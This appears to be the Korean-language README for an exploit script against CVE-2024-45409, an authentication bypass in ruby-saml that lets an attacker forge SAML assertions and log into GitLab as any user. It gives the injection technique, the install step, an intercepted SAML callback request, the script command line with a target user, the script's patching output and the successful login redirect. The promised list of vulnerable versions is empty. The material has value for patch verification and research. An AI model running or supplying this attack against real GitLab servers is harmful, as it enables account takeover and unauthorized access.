
Ruby-SAML / GitLab 인증 우회 (CVE-2024-45409) 익스플로잇
이 스크립트는 CVE-2024-45409를 익스플로잇합니다. 이 취약점은 IDP가 발급한 서명된 SAML 문서에 접근할 수 있는 인증되지 않은 공격자가 SAML 응답/어설션을 위조하여 GitLab의 모든 사용자로 액세스할 수 있게 합니다.
다음 GitLab (CE/EE) 버전은 모두 취약합니다:
이 익스플로잇은 수정된 어설션의 DigestValue를 StatusDetail 요소에 주입하여, SignedInfo 블록의 값 대신 이 값을 사용하는 XPath 선택기를 밀반입할 수 있게 합니다.
apt install python3-lxml
먼저 URL과 Base64로 인코딩된 IDP SAML 응답을 가로챈 후, 스크립트를 사용하여 XML 콘텐츠를 수정합니다.
POST /users/auth/saml/callback HTTP/1.1
Host: gitlab.test.local
[...]
SAMLResponse=PHNhbWxwOlJlc3Bv[...]
$ python3 CVE-2024-45409.py -r response.url_base64 -n [email protected] -d -e -o response_patched.url_base64
[+] Parse response
Digest algorithm: sha256
Canonicalization Method: http://www.w3.org/2001/10/xml-exc-c14n#
[+] Remove signature from response
[+] Patch assertion ID
[+] Patch assertion NameID
[+] Patch assertion conditions
[+] Move signature in assertion
[+] Patch response ID
[+] Insert malicious reference
[+] Clone signature reference
[+] Create status detail element
[+] Patch digest value
[+] Write patched file in response_patched.url_base64
그런 다음 SAMLResponse 매개변수 값을 스크립트 출력으로 바꿉니다. 인증에 성공하면 GitLab 홈페이지로 리디렉션됩니다.
HTTP/1.1 302 Found
Location: http://gitlab.test.local/
[...]
<html><body>You are being <a href="http://gitlab.test.local/">redirected</a>.</body></html>